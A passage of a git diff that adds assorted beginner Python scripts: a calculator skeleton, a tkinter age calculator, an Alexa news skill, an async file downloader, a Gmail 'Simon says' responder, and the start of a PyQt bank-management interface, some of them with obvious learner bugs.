exit. + pprint("Press 'q' to exit") + # if self.num1 == "q" or self.num2 == "q": + # exit() # Some how I need to exit it + + def greeting(self): + """_summary_: Greet the user with using Audio""" + text_to_audio = "Welcome To The Calculator" + self.gtts_object = gTTS(text=text_to_audio, lang="en", tld="co.in", slow=False) + tts = self.gtts_object + fp = BytesIO() + tts.write_to_fp(fp) + fp.seek(0) # Reset the BytesIO object to the beginning + mixer.init() + mixer.music.load(fp) + mixer.music.play() + while mixer.music.get_busy(): + time.Clock().tick(10) + + # Here OOP is not followed. + def user_name(self): + """_summary_: Get the name of the user and have an option to greet him/her""" + self.name = input("Please enter your good name: ") + # Making validation checks here + text_to_audio = "{self.name}" + self.gtts_object = gTTS(text=text_to_audio, lang="en", tld="co.in", slow=False) + tts = self.gtts_object + fp = BytesIO() + tts.write_to_fp(fp) + fp.seek(0) # Reset the BytesIO object to the beginning + mixer.init() + mixer.music.load(fp) + mixer.music.play() + while mixer.music.get_busy(): + time.Clock().tick(10) + + def user_name_art(self): + """_summary_: Get the name of the user and have an option to show him his user name in art""" + # Default is to show = True, else False if user tries to disable it. + + # Tell him to show the time and date + # print(art.text2art(self.name)) + # print(date and time of now) + # Remove whitespaces from beginning and end + # Remove middle name and last name + # Remove special characters + # Remove numbers + f_name = self.name.split(" ")[0] + f_name = f_name.strip() + # Remove every number present in it + # Will have to practice not logic + f_name = "".join([i for i in f_name if not i.isdigit()]) + + # perform string operations on it for the art to be displayed. + # Remove white spaces + # Remove middle name and last name + # Remove special characters + # Remove numbers + # Remove everything + + class unitConversion: + """_summary_: Class enriched with all the methods to convert units""" + + # Do we full-stops in generating documentations? + + def __init__(self): + """_summary_: Initialise the class with the required attributes""" + self.take_inputs() + + def length(self): + """_summary_: Convert length units""" + # It should have a meter to unit and unit to meter converter + # Othe lengths units it should also have. + # Like cm to pico meter and what not + pass + + def area(self): + # This will to have multiple shapes and polygons to it to improve it's area. + # This will to have multiple shapes and polygons to it to improve it's area. + # I will try to use the best of the formula to do it like the n number of polygons to be solved. + + pass + + def volume(self): + # Different shapes and polygons to it to improve it's volume. + pass + + def mass(self): + pass + + def time(self): + pass + + def speed(self): + pass + + def temperature(self): + pass + + def data(self): + pass + + def pressure(self): + pass + + def energy(self): + pass + + def power(self): + pass + + def angle(self): + pass + + def force(self): + pass + + def frequency(self): + pass + + def take_inputs(self): + pass + + class CurrencyConverter: + def __init__(self): + self.take_inputs() + + def take_inputs(self): + pass + + def convert(self): + pass + + class Commands: + def __init__(self): + self.take_inputs() + + def previous_number(self): + pass + + def previous_operation(self): + pass + + def previous_result(self): + pass + + def clear_screen(self): + # Do I need a clear screen? + # os.system("cls" if os.name == "nt" else "clear") + # os.system("cls") + # os.system("clear") + pass + + +if __name__ == "__main__": + operation_1 = Calculator(10, 5) + + # Operations + # User interaction + # Study them properly and try to understand them. + # Study them properly and try to understand them in very detailed length. Please. + # Add a function to continually ask for input until the user enters a valid input. + + +# Let's explore colorma +# Also user log ins, and it saves user data and preferences. +# A feature of the least priority right now. + +# List of features priority should be planned. + + +# Documentations are good to read and understand. +# A one stop solution is to stop and read the document. +# It is much better and easier to understand. diff --git a/agecalculator.py b/agecalculator.py new file mode 100644 index 00000000000..86813e30f9f --- /dev/null +++ b/agecalculator.py @@ -0,0 +1,67 @@ +from _datetime import datetime +import tkinter as tk +from tkinter import ttk +from _datetime import * + +win = tk.Tk() +win.title("Age Calculate") +win.geometry("310x400") +# win.iconbitmap('pic.png') this is use extention ico then show pic + +############################################ Frame ############################################ +pic = tk.PhotoImage(file=r"E:\Python Practice\Age_calculate\pic.png") +win.tk.call("wm", "iconphoto", win._w, pic) + + +canvas = tk.Canvas(win, width=310, height=190) +canvas.grid() +image = tk.PhotoImage(file=r"E:\Python Practice\Age_calculate\pic.png") +canvas.create_image(0, 0, anchor="nw", image=image) + +frame = ttk.Frame(win) +frame.place(x=40, y=220) + + +############################################ Label on Frame ############################################ + +name = ttk.Label(frame, text="Name : ", font=("", 12, "bold")) +name.grid(row=0, column=0, sticky=tk.W) + +year = ttk.Label(frame, text="Year : ", font=("", 12, "bold")) +year.grid(row=1, column=0, sticky=tk.W) + +month = ttk.Label(frame, text="Month : ", font=("", 12, "bold")) +month.grid(row=2, column=0, sticky=tk.W) + +date = ttk.Label(frame, text="Date : ", font=("", 12, "bold")) +date.grid(row=3, column=0, sticky=tk.W) + +############################################ Entry Box ############################################ +name_entry = ttk.Entry(frame, width=25) +name_entry.grid(row=0, column=1) +name_entry.focus() + +year_entry = ttk.Entry(frame, width=25) +year_entry.grid(row=1, column=1, pady=5) + +month_entry = ttk.Entry(frame, width=25) +month_entry.grid(row=2, column=1) + +date_entry = ttk.Entry(frame, width=25) +date_entry.grid(row=3, column=1, pady=5) + + +def age_cal(): + name_entry.get() + year_entry.get() + month_entry.get() + date_entry.get() + cal = datetime.today() - (int(year_entry)) + print(cal) + + +btn = ttk.Button(frame, text="Age calculate", command=age_cal) +btn.grid(row=4, column=1) + + +win.mainloop() diff --git a/alexa_news_headlines.py b/alexa_news_headlines.py new file mode 100644 index 00000000000..7cb84b9fe09 --- /dev/null +++ b/alexa_news_headlines.py @@ -0,0 +1,55 @@ +import json +import time + +import requests +import unidecode +from flask import Flask +from flask_ask import Ask, question, statement + +app = Flask(__name__) +ask = Ask(app, "/reddit_reader") + + +def get_headlines(): + user_pass_dict = {"user": "USERNAME", "passwd": "PASSWORD", "api_type": "json"} + sess = requests.Session() + sess.headers.update({"User-Agent": "I am testing Alexa: nobi"}) + sess.post("https://www.reddit.com/api/login/", data=user_pass_dict) + time.sleep(1) + url = "https://reddit.com/r/worldnews/.json?limit=10" + html = sess.get(url) + data = json.loads(html.content.decode("utf-8")) + titles = [ + unidecode.unidecode(listing["data"]["title"]) + for listing in data["data"]["children"] + ] + titles = "... ".join([i for i in titles]) + return titles + + +@app.route("/") +def homepage(): + return "hi there!" + + +@ask.launch +def start_skill(): + welcome_message = "Hello there, would you like to hear the news?" + return question(welcome_message) + + +@ask.intent("YesIntent") +def share_headlines(): + headlines = get_headlines() + headline_msg = "The current world news headlines are {}".format(headlines) + return statement(headline_msg) + + +@ask.intent("NooIntent") +def no_intent(): + bye_text = "I am not sure why you then turned me on. Anyways, bye for now!" + return statement(bye_text) + + +if __name__ == "__main__": + app.run(port=8000, debug=True) diff --git a/area_of_square_app.py b/area_of_square_app.py new file mode 100644 index 00000000000..d9e4a303005 --- /dev/null +++ b/area_of_square_app.py @@ -0,0 +1,130 @@ +__author__ = "Nitkarsh Chourasia" +__author_GitHub_profile__ = "https://github.com/NitkarshChourasia" +__author_email_address__ = "playnitkarsh@gmal.com" +__created_on__ = "10/10/2021" +__last_updated__ = "10/10/2021" + +from word2number import w2n + + +def convert_words_to_number(word_str): + """ + Convert a string containing number words to an integer. + + Args: + - word_str (str): Input string with number words. + + Returns: + - int: Numeric equivalent of the input string. + """ + numeric_result = w2n.word_to_num(word_str) + return numeric_result + + +# Example usage: +number_str = "two hundred fifteen" +result = convert_words_to_number(number_str) +print(result) # Output: 215 + + +class Square: + def __init__(self, side=None): + if side is None: + self.ask_side() + # else: + # self.side = float(side) + else: + if not isinstance(side, (int, float)): + try: + side = float(side) + except ValueError: + # return "Invalid input for side." + raise ValueError("Invalid input for side.") + else: + self.side = float(side) + # Check if the result is a float and remove unnecessary zeros + + self.calculate_square() + self.truncate_decimals() + + # If ask side or input directly into the square. + # That can be done? + def calculate_square(self): + self.area = self.side * self.side + return self.area + + # Want to add a while loop asking for the input. + # Also have an option to ask the user in true mode or in repeat mode. + def ask_side(self): + # if true bool then while if int or float then for loop. + # I will have to learn inheritance and polymorphism. + condition = 3 + # condition = True + if condition == True and isinstance(condition, bool): + while condition: + n = input("Enter the side of the square: ") + self.side = float(n) + elif isinstance(condition, (int, float)): + for i in range(_=condition): + n = input("Enter the side of the square: ") + self.side = float(n) + # n = input("Enter the side of the square: ") + # self.side = float(n) + # return + + def truncate_decimals(self): + return ( + f"{self.area:.10f}".rstrip("0").rstrip(".") + if "." in str(self.area) + else self.area + ) + + # Prettifying the output. + + def calculate_perimeter(self): + return 4 * self.side + + def calculate_perimeter_prettify(self): + return f"The perimeter of the square is {self.calculate_perimeter()}." + + def calculate_area_prettify(self): + return f"The area of the square is {self.area}." + + def truncate_decimals_prettify(self): + return f"The area of the square is {self.truncate_decimals()}." + + +if __name__ == "__main__": + output_one = Square() + truncated_area = output_one.truncate_decimals() + # print(output_one.truncate_decimals()) + print(truncated_area) + + +# add a while loop to keep asking for the user input. +# also make sure to add a about menu to input a while loop in tkinter app. + +# It can use a beautiful GUI also. +# Even validation is left. +# What if string is provided in number? Then? +# What if chars are provided. Then? +# What if a negative number is provided? Then? +# What if a number is provided in alphabets characters? Then? +# Can it a single method have more object in it? + +# Also need to perform testing on it. +# EXTREME FORM OF TESTING NEED TO BE PERFORMED ON IT. +# Documentation is also needed. +# Comments are also needed. +# TYPE hints are also needed. + +# README.md file is also needed. +## Which will explain the whole project. +### Like how to use the application. +### List down the features in explicit detail. +### How to use different methods and classes. +### It will also a image of the project in working state. +### It will also have a video to the project in working state. + +# It should also have .exe and linux executable file. +# It should also be installable into Windows(x86) system and if possible into Linux system also. diff --git a/armstrongnumber.py b/armstrongnumber.py new file mode 100644 index 00000000000..f4def08d440 --- /dev/null +++ b/armstrongnumber.py @@ -0,0 +1,20 @@ +# Python program to check if the number is an Armstrong number or not + +# take input from the user +num = int(input("Enter a number: ")) + +# initialize sum +sum = 0 + +# find the sum of the cube of each digit +temp = num +while temp > 0: + digit = temp % 10 + sum += digit**3 + temp //= 10 + +# display the result +if num == sum: + print(num, "is an Armstrong number") +else: + print(num, "is not an Armstrong number") diff --git a/async_downloader/async_downloader.py b/async_downloader/async_downloader.py new file mode 100644 index 00000000000..4f715048905 --- /dev/null +++ b/async_downloader/async_downloader.py @@ -0,0 +1,123 @@ +""" +It's example of usage asyncio+aiohttp to downloading. +You should install aiohttp for using: +(You can use virtualenv to testing) +pip install -r /path/to/requirements.txt +""" + +import asyncio +from os.path import basename + +import aiohttp + + +def download(ways): + if not ways: + print("Ways list is empty. Downloading is impossible") + return + + print("downloading..") + + success_files = set() + failure_files = set() + + event_loop = asyncio.get_event_loop() + try: + event_loop.run_until_complete( + async_downloader(ways, event_loop, success_files, failure_files) + ) + finally: + event_loop.close() + + print("Download complete") + print("-" * 100) + + if success_files: + print("success:") + for file in success_files: + print(file) + + if failure_files: + print("failure:") + for file in failure_files: + print(file) + + +async def async_downloader(ways, loop, success_files, failure_files): + async with aiohttp.ClientSession() as session: + coroutines = [ + download_file_by_url( + url, + session=session, + ) + for url in ways + ] + + for task in asyncio.as_completed(coroutines): + fail, url = await task + + if fail: + failure_files.add(url) + else: + success_files.add(url) + + +async def download_file_by_url(url, session=None): + fail = True + file_name = basename(url) + + assert session + + try: + async with session.get(url) as response: + if response.status == 404: + print( + "\t{} from {} : Failed : {}".format( + file_name, url, "404 - Not found" + ) + ) + return fail, url + + if not response.status == 200: + print( + "\t{} from {} : Failed : HTTP response {}".format( + file_name, url, response.status + ) + ) + return fail, url + + data = await response.read() + + with open(file_name, "wb") as file: + file.write(data) + + except asyncio.TimeoutError: + print("\t{} from {}: Failed : {}".format(file_name, url, "Timeout error")) + + except aiohttp.client_exceptions.ClientConnectionError: + print( + "\t{} from {}: Failed : {}".format( + file_name, url, "Client connection error" + ) + ) + + else: + print("\t{} from {} : Success".format(file_name, url)) + fail = False + + return fail, url + + +def test(): + ways = [ + "https://www.wikipedia.org", + "https://www.ya.ru", + "https://www.duckduckgo.com", + "https://www.fail-path.unknown", + ] + + download(ways) + + +if __name__ == "__main__": + test() diff --git a/async_downloader/requirements.txt b/async_downloader/requirements.txt new file mode 100644 index 00000000000..4a3a6b978bc --- /dev/null +++ b/async_downloader/requirements.txt @@ -0,0 +1 @@ +aiohttp==3.13.2 diff --git a/automail.py b/automail.py new file mode 100644 index 00000000000..c7a3f7ed236 --- /dev/null +++ b/automail.py @@ -0,0 +1,29 @@ +# find documentation for ezgmail module at https://pypi.org/project/EZGmail/ +# simple simon says module that interacts with google API to read the subject line of an email and respond to "Simon says:" +# DO NOT FORGET TO ADD CREDENTIALS.JSON AND TOKEN.JSON TO .GITIGNORE!!! + +import ezgmail +import re +import time + +check = True +while check: + recThreads = ezgmail.recent() + findEmail = re.compile(r"<(.*)@(.*)>") + i = 0 + for msg in recThreads: + subEval = recThreads[i].messages[0].subject.split(" ") + sender = recThreads[i].messages[0].sender + if subEval[0] == "Simon" and subEval[1] == "says:": + subEval.remove("Simon") + subEval.remove("says:") + replyAddress = ( + findEmail.search(sender).group(0).replace("<", "").replace(">", "") + ) + replyContent = "I am now doing " + " ".join(subEval) + ezgmail.send(replyAddress, replyContent, replyContent) + ezgmail._trash(recThreads[i]) + if subEval[0] == "ENDTASK": # remote kill command + check = False + i += 1 + time.sleep(60) # change check frquency; default every minute diff --git a/avg_xdspam_confidence.py b/avg_xdspam_confidence.py new file mode 100644 index 00000000000..6ec7f70957a --- /dev/null +++ b/avg_xdspam_confidence.py @@ -0,0 +1,12 @@ +fh = open("mbox-short.txt") +# The 'mbox-short.txt' file can be downloaded from the link: https://www.py4e.com/code3/mbox-short.txt +sum = 0 +count = 0 +for fx in fh: + fx = fx.rstrip() + if not fx.startswith("X-DSPAM-Confidence:"): + continue + fy = fx[19:] + count = count + 1 + sum = sum + float(fy) +print("Average spam confidence: ", sum / count) diff --git a/backup_automater_services.py b/backup_automater_services.py index da9f0d216f8..21ec7aa0b62 100644 --- a/backup_automater_services.py +++ b/backup_automater_services.py @@ -8,24 +8,41 @@ # Description : This will go through and backup all my automator services workflows -import shutil # Load the library module -import datetime # Load the library module -import os # Load the library module +import datetime # Load the library module +import os # Load the library module +import shutil # Load the library module -today = datetime.date.today() # Get Today's date -todaystr = today.isoformat() # Format it so we can use the format to create the directory +today = datetime.date.today() # Get Today's date +todaystr = ( + today.isoformat() +) # Format it so we can use the format to create the directory -confdir = os.getenv("my_config") # Set the variable by getting the value from the OS setting -dropbox = os.getenv("dropbox") # Set the variable by getting the value from the OS setting -conffile = ('services.conf') # Set the variable as the name of the configuration file -conffilename = os.path.join(confdir, conffile) # Set the variable by combining the path and the file name -sourcedir = os.path.expanduser('~/Library/Services/') # Source directory of where the scripts are located -destdir = os.path.join(dropbox, "My_backups"+"/"+"Automater_services"+todaystr+"/") # Combine several settings to create - - # the destination backup directory -for file_name in open(conffilename): # Walk through the configuration file - fname = file_name.strip() # Strip out the blank lines from the configuration file - if fname: # For the lines that are not blank - sourcefile = os.path.join(sourcedir, file_name.strip()) # Get the name of the source files to backup - destfile = os.path.join(destdir, file_name.strip()) # Get the name of the destination file names - shutil.copytree(sourcefile, destfile) # Copy the directories +confdir = os.getenv( + "my_config" +) # Set the variable by getting the value from the OS setting +dropbox = os.getenv( + "dropbox" +) # Set the variable by getting the value from the OS setting +conffile = "services.conf" # Set the variable as the name of the configuration file +conffilename = os.path.join( + confdir, conffile +) # Set the variable by combining the path and the file name +sourcedir = os.path.expanduser( + "~/Library/Services/" +) # Source directory of where the scripts are located +# Combine several settings to create +destdir = os.path.join( + dropbox, "My_backups" + "/" + "Automater_services" + todaystr + "/" +) + +# the destination backup directory +for file_name in open(conffilename): # Walk through the configuration file + fname = file_name.strip() # Strip out the blank lines from the configuration file + if fname: # For the lines that are not blank + sourcefile = os.path.join( + sourcedir, fname + ) # Get the name of the source files to backup + destfile = os.path.join( + destdir, fname + ) # Get the name of the destination file names + shutil.copytree(sourcefile, destfile) # Copy the directories diff --git a/balance_parenthesis.py b/balance_parenthesis.py new file mode 100644 index 00000000000..cd89ddcf6bd --- /dev/null +++ b/balance_parenthesis.py @@ -0,0 +1,55 @@ +class Stack: + def __init__(self): + self.items = [] + + def push(self, item): + self.items.append(item) + + def pop(self): + return self.items.pop() + + def is_empty(self): + return self.items == [] + + def peek(self): + return self.items[-1] + + def display(self): + return self.items + + +def is_same(p1, p2): + if p1 == "(" and p2 == ")": + return True + elif p1 == "[" and p2 == "]": + return True + elif p1 == "{" and p2 == "}": + return True + else: + return False + + +def is_balanced(check_string): + s = Stack() + index = 0 + is_bal = True + while index < len(check_string) and is_bal: + paren = check_string[index] + if paren in "{[(": + s.push(paren) + else: + if s.is_empty(): + is_bal = False + else: + top = s.pop() + if not is_same(top, paren): + is_bal = False + index += 1 + + if s.is_empty() and is_bal: + return True + else: + return False + + +print(is_balanced("[((())})]")) diff --git a/bank_managment_system/QTFrontend.py b/bank_managment_system/QTFrontend.py new file mode 100644 index 00000000000..2f67009e322 --- /dev/null +++ b/bank_managment_system/QTFrontend.py @@ -0,0 +1,1763 @@ +from PyQt5 import QtCore, QtGui, QtWidgets +import sys +import backend + +backend.connect_database() + +employee_data = None +# Page Constants (for reference) +HOME_PAGE = 0 +ADMIN_PAGE = 1 +EMPLOYEE_PAGE = 2 +ADMIN_MENU_PAGE = 3 +ADD_EMPLOYEE_PAGE = 4 +UPDATE_EMPLOYEE_PAGE1 = 5 +UPDATE_EMPLOYEE_PAGE2 = 6 +EMPLOYEE_LIST_PAGE = 7 +ADMIN_TOTAL_MONEY = 8 +EMPLOYEE_MENU_PAGE = 9 +EMPLOYEE_CREATE_ACCOUNT_PAGE = 10 +EMPLOYEE_SHOW_DETAILS_PAGE1 = 11 +EMPLOYEE_SHOW_DETAILS_PAGE2 = 12 +EMPLOYEE_ADD_BALANCE_SEARCH = 13 +EMPLOYEE_ADD_BALANCE_PAGE = 14 +EMPLOYEE_WITHDRAW_MONEY_SEARCH = 15 +EMPLOYEE_WITHDRAW_MONEY_PAGE = 16 +EMPLOYEE_CHECK_BALANCE_SEARCH = 17 +EMPLOYEE_CHECK_BALANCE_PAGE = 18 +EMPLOYEE_UPDATE_ACCOUNT_SEARCH = 19 +EMPLOYEE_UPDATE_ACCOUNT_PAGE = 20 + +FONT_SIZE = QtGui.QFont("Segoe UI", 12) +# ------------------------------------------------------------------------------------------------------------- +# === Reusable UI Component Functions === +# ------------------------------------------------------------------------------------------------------------- + + +def create_styled_frame(parent, min_size=None, style=""): + """Create a styled QFrame with optional minimum size and custom style.""" + frame = QtWidgets.QFrame(parent) + frame.setFrameShape(QtWidgets.QFrame.StyledPanel) + frame.setFrameShadow(QtWidgets.QFrame.Raised) + if min_size: + frame.setMinimumSize(QtCore.QSize(*min_size)) + frame.setStyleSheet(style) + return frame + + +def create_styled_label( + parent, text, font_size=12, bold=False, style="color: #2c3e50; padding: 10px;" +): + """Create a styled QLabel with customizable font size and boldness.""" + label = QtWidgets.QLabel(parent) + font = QtGui.QFont("Segoe UI", font_size) + if bold: + font.setBold(True) + font.setWeight(75) + label.setFont(font) + label.setStyleSheet(style) + label.setText(text) + return label + + +def create_styled_button(parent, text, min_size=None): + """Create a styled QPushButton with hover and pressed effects.""" + button = QtWidgets.QPushButton(parent) + if min_size: + button.setMinimumSize(QtCore.QSize(*min_size)) + button.setStyleSheet(""" + QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + """) + button.setText(text) + return button + + +def create_input_field(parent, label_text, min_label_size=(120, 0)): + """Create a horizontal layout with a label and a QLineEdit.""" + frame = create_styled_frame(parent, style="padding: 7px;") + layout = QtWidgets.QHBoxLayout(frame) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(0) + + label = create_styled_label( + frame, label_text, font_size=12, bold=True, style="color: #2c3e50;" + ) + if min_label_size: + label.setMinimumSize(QtCore.QSize(*min_label_size)) + + line_edit = QtWidgets.QLineEdit(frame) + line_edit.setFont(FONT_SIZE) + line_edit.setStyleSheet( + "background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) + + layout.addWidget(label) + layout.addWidget(line_edit) + return frame, line_edit + + +def create_input_field_V(parent, label_text, min_label_size=(120, 0)): + """Create a horizontal layout with a label and a QLineEdit.""" + frame = create_styled_frame(parent, style="padding: 7px;") + layout = QtWidgets.QVBoxLayout(frame) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(0) + + label = create_styled_label( + frame, label_text, font_size=12, bold=True, style="color: #2c3e50;" + ) + if min_label_size: + label.setMinimumSize(QtCore.QSize(*min_label_size)) + + line_edit = QtWidgets.QLineEdit(frame) + line_edit.setStyleSheet( + "background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) + line_edit.setFont(FONT_SIZE) + + layout.addWidget(label) + layout.addWidget(line_edit) + return frame, line_edit + + +def show_popup_message( + parent, + message: str, + page: int = None, + show_cancel: bool = False, + cancel_page: int = HOME_PAGE, +): + """Reusable popup message box. + + Args: + parent: The parent widget. + message (str): The message to display. + page (int, optional): Page index to switch to after dialog closes. + show_cancel (bool): Whether to show the Cancel button. + """ + dialog = QtWidgets.QDialog(parent) + dialog.setWindowTitle("Message") + dialog.setFixedSize(350, 100) + dialog.setStyleSheet("background-color: #f0f0f0;") + + layout = QtWidgets.QVBoxLayout(dialog) + layout.setSpacing(10) + layout.setContentsMargins(15, 15, 15, 15) + + label = QtWidgets.QLabel(message) + label.setStyleSheet("font-size: 12px; color: #2c3e50;") + label.setWordWrap(True) + layout.addWidget(label) + + # Decide which buttons to show + if show_cancel: + button_box = QtWidgets.QDialogButtonBox( + QtWidgets.QDialogButtonBox.Ok | QtWidgets.QDialogButtonBox.Cancel + ) + else: + button_box = QtWidgets.QDialogButtonBox(QtWidgets.QDialogButtonBox.Ok) + + button_box.setStyleSheet(""" + QPushButton { + background-color: #3498db; + color: white; + border-radius: 4px; + padding: 6px 12px; + min-width: 80px; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + """) + layout.addWidget(button_box) + + # Connect buttons + def on_accept(): + if page is not None: + parent.setCurrentIndex(page) + dialog.accept() + + def on_reject(): + if page is not None: + parent.setCurrentIndex(cancel_page) + dialog.reject() + + button_box.accepted.connect(on_accept) + button_box.rejected.connect(on_reject) + + dialog.exec_() + + +def search_result(parent, title, label_text): + page, main_layout = create_page_with_header(parent, title) + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + content_layout.alignment + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_layout.setSpacing(3) + # Define input fields + user = create_input_field(form_frame, label_text, min_label_size=(180, 0)) + form_layout.addWidget(user[0]) + user_account_number = user[1] + user_account_number.setFont(FONT_SIZE) + submit_button = create_styled_button(form_frame, "Submit", min_size=(100, 50)) + form_layout.addWidget(submit_button) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + + return page, (user_account_number, submit_button) + + +# ------------------------------------------------------------------------------------------------------------- +# === Page Creation Functions == +# ------------------------------------------------------------------------------------------------------------- +def create_page_with_header(parent, title_text): + """Create a page with a styled header and return the page + main layout.""" + page = QtWidgets.QWidget(parent) + main_layout = QtWidgets.QVBoxLayout(page) + main_layout.setContentsMargins(20, 20, 20, 20) + main_layout.setSpacing(20) + + header_frame = create_styled_frame( + page, style="background-color: #ffffff; border-radius: 10px; padding: 10px;" + ) + header_layout = QtWidgets.QVBoxLayout(header_frame) + title_label = create_styled_label(header_frame, title_text, font_size=30) + header_layout.addWidget(title_label, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignTop) + + main_layout.addWidget(header_frame, 0, QtCore.Qt.AlignTop) + return page, main_layout + + +def get_employee_name(parent, name_field_text="Enter Employee Name"): + page, main_layout = create_page_with_header(parent, "Employee Data Update") + + # Content frame + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + # Form frame + form_frame = create_styled_frame( + content_frame, + min_size=(340, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + + # Form fields + name_label, name_field = create_input_field(form_frame, name_field_text) + search_button = create_styled_button(form_frame, "Search", min_size=(100, 30)) + form_layout.addWidget(name_label) + form_layout.addWidget(search_button) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + + def on_search_button_clicked(): + global employee_data + entered_name = name_field.text().strip() + print(f"Entered Name: {entered_name}") + if not entered_name: + QtWidgets.QMessageBox.warning( + parent, "Input Error", "Please enter an employee name." + ) + return + + try: + employee_check = backend.check_name_in_staff(entered_name) + print(f"Employee Check: {type(employee_check)},{employee_check}") + if employee_check: + cur = backend.cur + cur.execute("SELECT * FROM staff WHERE name = ?", (entered_name,)) + employee_data = cur.fetchone() + print(f"Employee Data: {employee_data}") + parent.setCurrentIndex(UPDATE_EMPLOYEE_PAGE2) + + # if employee_data: + # QtWidgets.QMessageBox.information(parent, "Employee Found", + # f"Employee data:\nID: {fetch[0]}\nName: {fetch[1]}\nDept: {fetch[2]}\nRole: {fetch[3]}") + + else: + QtWidgets.QMessageBox.information( + parent, "Not Found", "Employee not found." + ) + except Exception as e: + QtWidgets.QMessageBox.critical( + parent, "Error", f"An error occurred: {str(e)}" + ) + + search_button.clicked.connect(on_search_button_clicked) + + return page + + # backend.check_name_in_staff() + + +def create_login_page( + parent, + title, + name_field_text="Name :", + password_field_text="Password :", + submit_text="Submit", +): + """Create a login page with a title, name and password fields, and a submit button.""" + page, main_layout = create_page_with_header(parent, title) + + # Content frame + content_frame = create_styled_frame(page) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + content_layout = QtWidgets.QVBoxLayout(content_frame) + + # Form frame + form_frame = create_styled_frame( + content_frame, + min_size=(340, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) + form_layout = QtWidgets.QVBoxLayout(form_frame) + form_layout.setSpacing(20) + + # Input fields + name_frame, name_edit = create_input_field(form_frame, name_field_text) + password_frame, password_edit = create_input_field(form_frame, password_field_text) + + # Submit button + button_frame = create_styled_frame(form_frame, style="padding: 7px;") + button_layout = QtWidgets.QVBoxLayout(button_frame) + button_layout.setSpacing(60) + submit_button = create_styled_button(button_frame, submit_text, min_size=(150, 0)) + button_layout.addWidget(submit_button, 0, QtCore.Qt.AlignHCenter) + + form_layout.addWidget(name_frame) + form_layout.addWidget(password_frame) + form_layout.addWidget(button_frame) + + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(content_frame) + + return page, name_edit, password_edit, submit_button + + +def on_login_button_clicked(parent, name_field, password_field): + name = name_field.text().strip() + password = password_field.text().strip() + + if not name or not password: + show_popup_message(parent, "Please enter your name and password.", HOME_PAGE) + else: + try: + # Ideally, here you'd call a backend authentication check + success = backend.check_admin(name, password) + if success: + QtWidgets.QMessageBox.information( + parent, "Login Successful", f"Welcome, {name}!" + ) + else: + QtWidgets.QMessageBox.warning( + parent, "Login Failed", "Incorrect name or password." + ) + except Exception as e: + QtWidgets.QMessageBox.critical( + parent, "Error", f"An error occurred during login: {str(e)}" + ) + + +def create_home_page(parent, on_admin_clicked, on_employee_clicked, on_exit_clicked): + """Create the home page with Admin, Employee, and Exit buttons.""" + page, main_layout = create_page_with_header(parent, "Admin Menu") + + # Button frame + button_frame = create_styled_frame(page) + button_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + button_layout = QtWidgets.QVBoxLayout(button_frame) + + # Button container + button_container = create_styled_frame( + button_frame, + min_size=(300, 0), + style="background-color: #ffffff; border-radius: 15px; padding: 20px;", + ) + button_container_layout = QtWidgets.QVBoxLayout(button_container) + button_container_layout.setSpacing(15) + + # Buttons + admin_button = create_styled_button(button_container, "Admin") + employee_button = create_styled_button(button_container, "Employee") + exit_button = create_styled_button(button_container, "Exit") + exit_button.setStyleSheet(""" + QPushButton { + background-color: #e74c3c; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #c0392b; + } + QPushButton:pressed { + background-color: #992d22; + } + """) + + button_container_layout.addWidget(admin_button) + button_container_layout.addWidget(employee_button) + button_container_layout.addWidget(exit_button) + + button_layout.addWidget( + button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) + main_layout.addWidget(button_frame) + + # Connect button signals + admin_button.clicked.connect(on_admin_clicked) + employee_button.clicked.connect(on_employee_clicked) + exit_button.clicked.connect(on_exit_clicked) + + return page + + +def create_admin_menu_page(parent): + page, main_layout = create_page_with_header(parent, "Admin Menu") + + button_frame = create_styled_frame(page) + button_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) + button_layout = QtWidgets.QVBoxLayout(button_frame) + + button_container = create_styled_frame( + button_frame, + min_size=(300, 0), + style="background-color: #ffffff; border-radius: 15px; padding: 20px;", + ) + button_container_layout = QtWidgets.QVBoxLayout(button_container) + button_container_layout.setSpacing(15) + + # Define button labels + button_labels = [ + "Add Employee", + "Update Employee", + "Employee List", + "Total Money", + "Back", + ] + buttons = [] + + for label in button_labels: + btn = create_styled_button(button_container, label) + 